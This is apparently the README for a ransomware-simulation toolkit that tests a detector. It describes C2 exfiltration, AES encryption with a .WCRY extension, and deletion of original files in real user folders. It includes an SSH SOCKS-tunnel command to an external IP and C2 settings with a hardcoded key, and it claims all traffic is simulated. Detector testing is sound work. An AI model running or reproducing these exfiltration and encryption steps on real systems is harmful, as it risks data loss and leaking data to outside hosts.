This directory contains tools for simulating ransomware behavior to test the ransomware detector system.
cd tools\simulation
python c2_server.pysimulate_ransomware.bat --encryptsimulate_ransomware.bat --decryptsimulate_ransomware.bat- Phase 1: Simulates data exfiltration to C2 server (185.243.115.47:4444)
- Phase 2: Encrypts all test files with AES-256-CBC encryption
- Adds
.WCRYextension to encrypted files
- Restores all encrypted files to their original state
- Removes
.WCRYextensions
- Runs network exfiltration simulation without encrypting files
- Simulates SSH tunnel, DNS lookup, and C2 communication
- DNS lookup to suspicious IP (185.243.115.47)
- SSH tunnel creation:
ssh -D 9050 -N -f malicious@185.243.115.47 - SOCKS5 proxy on port 9050
- Base64 encoding of victim data
- Chunked data transmission (1856 bytes in 4 chunks)
- C2 server acknowledgment with Bitcoin payment address
- Ransom note template download
- Recursive file scanning
- AES-256-CBC encryption of target files
- Extension changes to
.WCRY - Original file deletion
Edit the configuration section in simulate_ransomware.bat:
C2_IP=185.243.115.47 # Suspicious IP (known malicious range)
C2_PORT=4444 # Common C2 port
TUNNEL_PORT=9050 # SOCKS5/TOR port
PRIVATE_KEY=MySecretPassword123!PleaseChange- create_test_directory.bat - Creates test files in actual user folders (Documents, Pictures, Music, etc.)
- simulate_ransomware.bat - Main simulation script
These are auxiliary files used by the main scripts:
- create_files_parallel.ps1 - PowerShell file generator
- c2_server.py - Python C2 server to receive exfiltrated data
- exfiltrate.ps1 - PowerShell script for network exfiltration
- verify_setup.bat - Verification script (checks all components)
- test_exfiltration.bat - Quick test script
-
Start RansomwareDetector
python run.py
-
Run Simulation
cd tools\simulation simulate_ransomware.bat --encrypt -
Check Alerts - Verify both network and file system detections
-
Clean Up
simulate_ransomware.bat --decrypt
Documents, Images, Audio/Video, Archives, Databases, Source Code:
.doc, .docx, .xls, .xlsx, .ppt, .pptx, .pdf, .txt, .jpg, .png, .mp3, .mp4, .zip, .rar, .sql, .db, and more.
Check exfiltration_simulation.log for activity logs:
[12/14/2025 14:30:15] SSH tunnel established to 185.243.115.47:4444
[12/14/2025 14:30:18] Transmitted 1856 bytes to 185.243.115.47:4444
[12/14/2025 14:30:20] C2 server confirmed key reception
- For now, simulated network activity is for concept representation only. Future versions may include more realistic network traffic patterns.
These tools are for legitimate security testing only. Unauthorized use is illegal and unethical.
All network activities are SIMULATED - No real data is transmitted!